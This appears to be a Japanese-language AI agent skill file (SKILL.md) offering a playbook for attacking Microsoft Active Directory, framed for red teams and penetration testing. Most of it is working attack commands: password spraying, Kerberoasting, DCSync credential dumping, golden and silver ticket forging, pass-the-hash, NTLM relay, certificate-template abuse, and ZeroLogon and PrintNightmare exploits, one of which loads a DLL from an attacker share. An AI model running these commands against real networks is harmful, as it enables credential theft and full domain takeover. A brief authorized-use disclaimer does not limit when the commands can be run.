active-directory-attacks
Microsoft Active Directoryへの攻撃手法を網羅的に解説するスキルです。レッドチーム演習やペネトレーションテストを対象に、偵察・認証情報の収集・Kerberosへの攻撃・横展開・権限昇格・ドメイン制圧まで幅広くカバーします。
description の原文を見る
Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.
SKILL.md 本文
<!-- security-allowlist: credential-extraction, kerberos-attacks -->認可された使用のみ: このスキルは認可されたセキュリティ評価、防御的検証、または管理された教育環境でのみ使用してください。
Active Directory 攻撃
目的
Microsoft Active Directory 環境の攻撃に関する包括的なテクニックを提供します。レッドチーム運用とペネトレーションテストのための、偵察、認証情報の収集、Kerberos 攻撃、ラテラルムーブメント、権限昇格、ドメイン支配を網羅しています。
入力/前提条件
- Kali Linux または Windows 攻撃プラットフォーム
- ドメインユーザー認証情報(ほとんどの攻撃に必要)
- ドメインコントローラーへのネットワークアクセス
- ツール: Impacket、Mimikatz、BloodHound、Rubeus、CrackMapExec
出力/成果物
- ドメイン列挙データ
- 抽出された認証情報とハッシュ
- 偽装用の Kerberos チケット
- ドメイン管理者アクセス
- 永続的アクセス機構
必須ツール
| ツール | 用途 |
|---|---|
| BloodHound | AD 攻撃経路の可視化 |
| Impacket | Python AD 攻撃ツール |
| Mimikatz | 認証情報抽出 |
| Rubeus | Kerberos 攻撃 |
| CrackMapExec | ネットワーク悪用 |
| PowerView | AD 列挙 |
| Responder | LLMNR/NBT-NS ポイズニング |
コアワークフロー
ステップ1: Kerberos クロック同期
Kerberos はクロック同期が必要です(±5分以内):
# クロックスキューを検出
nmap -sT 10.10.10.10 -p445 --script smb2-time
# Linux でクロックを修正
sudo date -s "14 APR 2024 18:25:16"
# Windows でクロックを修正
net time /domain /set
# システム時刻を変更せずに仮想クロック設定
faketime -f '+8h' <command>
ステップ2: BloodHound を使用した AD 偵察
# BloodHound を起動
neo4j console
bloodhound --no-sandbox
# SharpHound でデータ収集
.\SharpHound.exe -c All
.\SharpHound.exe -c All --ldapusername user --ldappassword pass
# Python コレクター(Linux から)
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
ステップ3: PowerView 列挙
# ドメイン情報取得
Get-NetDomain
Get-DomainSID
Get-NetDomainController
# ユーザー列挙
Get-NetUser
Get-NetUser -SamAccountName targetuser
Get-UserProperty -Properties pwdlastset
# グループ列挙
Get-NetGroupMember -GroupName "Domain Admins"
Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member
# ローカル管理者アクセス検索
Find-LocalAdminAccess -Verbose
# ユーザーハンティング
Invoke-UserHunter
Invoke-UserHunter -Stealth
認証情報攻撃
パスワードスプレイ
# kerbrute を使用
./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123
# CrackMapExec を使用
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success
Kerberoasting
サービスアカウント TGS チケットを抽出し、オフラインでクラック:
# Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt
# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt
# CrackMapExec
crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt
# hashcat でクラック
hashcat -m 13100 hashes.txt rockyou.txt
AS-REP Roasting
「Kerberos 事前認証が不要」なアカウントをターゲット:
# Impacket
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat
# Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
# hashcat でクラック
hashcat -m 18200 hashes.txt rockyou.txt
DCSync 攻撃
DC から認証情報を直接抽出(ディレクトリ変更のレプリケーション権が必要):
# Impacket
secretsdump.py domain.local/admin:password@10.10.10.10 -just-dc-user krbtgt
# Mimikatz
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /user:Administrator
Kerberos チケット攻撃
Pass-the-Ticket(ゴールデンチケット)
krbtgt ハッシュを使用して任意ユーザーの TGT を偽造:
# DCSync で krbtgt ハッシュを先に取得
# Mimikatz - ゴールデンチケット作成
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt
# Impacket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass domain.local/Administrator@dc.domain.local
シルバーチケット
特定のサービス用 TGS を偽造:
# Mimikatz
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt
Pass-the-Hash
# Impacket
psexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
wmiexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
smbexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
# CrackMapExec
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth
OverPass-the-Hash
NTLM ハッシュを Kerberos チケットに変換:
# Impacket
getTGT.py domain.local/user -hashes :NTHASH
export KRB5CCNAME=user.ccache
# Rubeus
.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt
NTLM リレー攻撃
Responder + ntlmrelayx
# Responder 起動(SMB/HTTP をリレー用に無効化)
responder -I eth0 -wrf
# リレー開始
ntlmrelayx.py -tf targets.txt -smb2support
# 委譲攻撃用 LDAP リレー
ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access
SMB 署名チェック
crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt
証明書サービス攻撃(AD CS)
ESC1 - 設定ミスのあるテンプレート
# 脆弱なテンプレートを検出
certipy find -u user@domain.local -p password -dc-ip 10.10.10.10
# ESC1 を悪用
certipy req -u user@domain.local -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn administrator@domain.local
# 証明書で認証
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
ESC8 - Web 登録リレー
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
重大な CVE
ZeroLogon(CVE-2020-1472)
# 脆弱性をチェック
crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon
# 悪用
python3 cve-2020-1472-exploit.py DC01 10.10.10.10
# ハッシュを抽出
secretsdump.py -just-dc domain.local/DC01\$@10.10.10.10 -no-pass
# パスワードを復元(重要!)
python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD
PrintNightmare(CVE-2021-1675)
# 脆弱性をチェック
rpcdump.py @10.10.10.10 | grep 'MS-RPRN'
# 悪用(悪意のある DLL をホストする必要があります)
python3 CVE-2021-1675.py domain.local/user:pass@10.10.10.10 '\\attacker\share\evil.dll'
samAccountName スプーフィング(CVE-2021-42278/42287)
# 自動悪用
python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell
クイックリファレンス
| 攻撃 | ツール | コマンド |
|---|---|---|
| Kerberoasting | Impacket | GetUserSPNs.py domain/user:pass -request |
| AS-REP Roasting | Impacket | GetNPUsers.py domain/ -usersfile users.txt |
| DCSync | secretsdump | secretsdump.py domain/admin:pass@DC |
| Pass-the-Hash | psexec | psexec.py domain/user@target -hashes :HASH |
| ゴールデンチケット | Mimikatz | kerberos::golden /user:Admin /krbtgt:HASH |
| スプレイ | kerbrute | kerbrute passwordspray -d domain users.txt Pass |
制約
必須:
- Kerberos 攻撃前に DC とクロックを同期
- ほとんどの攻撃に有効なドメイン認証情報が必要
- すべての侵害されたアカウントを文書化
禁止:
- 過度なパスワードスプレイ実施によるアカウントロック
- 承認なしに本番 AD オブジェクトを変更
- 文書化なしでゴールデンチケットを放置
推奨:
- 攻撃経路発見のために BloodHound を実行
- リレイ攻撃前に SMB 署名をチェック
- CVE 悪用のためにパッチレベルを確認
例
例1: Kerberoasting によるドメイン侵害
# 1. SPN を持つサービスアカウントを検出
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10
# 2. TGS チケットをリクエスト
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt
# 3. チケットをクラック
hashcat -m 13100 tgs.txt rockyou.txt
# 4. クラックされたサービスアカウントを使用
psexec.py domain.local/svc_admin:CrackedPassword@10.10.10.10
例2: NTLM から LDAP へのリレー
# 1. LDAP をターゲットとするリレーを起動
ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access
# 2. 認証をトリガー(例: PrinterBug経由)
python3 printerbug.py domain.local/user:pass@target 10.10.10.12
# 3. 作成されたマシンアカウントを RBCD 攻撃に使用
トラブルシューティング
| 問題 | 解決策 |
|---|---|
| クロックスキューが大きすぎる | DC と時刻を同期するか faketime を使用 |
| Kerberoasting が空を返す | SPN を持つサービスアカウントがない |
| DCSync アクセス拒否 | ディレクトリ変更のレプリケーション権が必要 |
| NTLM リレイ失敗 | SMB 署名をチェック、LDAP ターゲットを試す |
| BloodHound が空 | コレクターが正しい認証情報で実行されたか確認 |
追加リソース
委譲攻撃、GPO 悪用、RODC 攻撃、SCCM/WSUS デプロイ、ADCS 悪用、信頼関係、Linux AD 統合など、高度なテクニックについては references/advanced-attacks.md を参照してください。
使用時期
このスキルは、概要で説明されているワークフローまたはアクションを実行する場合に適用されます。
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- sickn33
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/sickn33/antigravity-awesome-skills / ライセンス: MIT
関連スキル
secure-code-guardian
認証・認可の実装、ユーザー入力の保護、OWASP Top 10の脆弱性対策が必要な場合に使用します。bcrypt/argon2によるパスワードハッシング、パラメータ化ステートメントによるSQLインジェクション対策、CORS/CSPヘッダーの設定、Zodによる入力検証、JWTトークンの構築などのカスタムセキュリティ実装に対応します。認証、認可、入力検証、暗号化、OWASP Top 10対策、セッション管理、セキュリティ強化全般で活用できます。ただし、構築済みのOAuth/SSO統合や単独のセキュリティ監査が必要な場合は、より特化したスキルの検討をお勧めします。
claude-authenticity
APIエンドポイントが本物のClaudeによって支えられているか(ラッパーやプロキシ、偽装ではないか)を、claude-verifyプロジェクトを模した9つの重み付きルールベースチェックで検証できます。また、Claudeの正体を上書きしているプロバイダーから注入されたシステムプロンプトも抽出します。完全に自己完結しており、httpx以外の追加パッケージは不要です。Claude APIキーまたはエンドポイントを検証したい場合、サードパーティのClaudeサービスが本物か確認したい場合、APIプロバイダーのClaude正当性を監査したい場合、複数モデルを並行してテストしたい場合、またはプロバイダーが注入したシステムプロンプトを特定したい場合に使用できます。
anth-security-basics
Anthropic Claude APIのセキュリティベストプラクティスを適用し、キー管理、入力値の検証、プロンプトインジェクション対策を実施します。APIキーの保護、Claudeに送信する前のユーザー入力検証、コンテンツセーフティガードレールの実装が必要な場合に活用できます。「anthropic security」「claude api key security」「secure anthropic」「prompt injection defense」といったフレーズでトリガーされます。
x-ray
x-ray.mdプレ監査レポートを生成します。概要、強化された脅威モデル(プロトコルタイプのプロファイリング、Gitの重み付け攻撃面分析、時間軸リスク分析、コンポーザビリティ依存関係マッピング)、不変条件、統合、ドキュメント品質、テスト分析、開発者・Gitの履歴をカバーしています。「x-ray」「audit readiness」「readiness report」「pre-audit report」「prep this protocol」「protocol prep」「summarize this protocol」のキーワードで実行されます。
semgrep
Semgrepスタティック分析スキャンを実行し、カスタム検出ルールを作成します。Semgrepでのコードスキャン、セキュリティ脆弱性の検出、カスタムYAMLルールの作成、または特定のバグパターンの検出が必要な場合に使用します。重要:ユーザーが「バグをスキャンしたい」「コード品質を確認したい」「脆弱性を見つけたい」「スタティック分析」「セキュリティlint」「コード監査」または「コーディング標準を適用したい」と尋ねた場合も、Semgrepという名称を明記していなくても、このスキルを使用してください。Semgrepは30以上の言語に対応したパターンベースのコードスキャンに最適なツールです。
ghost-bits-cast-attack
Java「ゴーストビッツ」/キャストアタック プレイブック(Black Hat Asia 2026)。16ビット文字が8ビットバイトに暗黙的に縮小されるJavaサービスへの攻撃時に使用します。WAF/IDSを回避して、SQLインジェクション、デシリアライゼーション型RCE、ファイルアップロード(Webシェル)、パストトラバーサル、CRLF インジェクション、リクエストスマグリング、SMTPインジェクションを実行できます。Tomcat、Spring、Jetty、Undertow、Vert.x、Jackson、Fastjson、Apache Commons BCEL、Apache HttpClient、Angus Mail、JDK HttpServer、Lettuce、Jodd、XMLWriterに影響し、WAFバイパスにより多くの「パッチ済み」CVEを再度有効化します。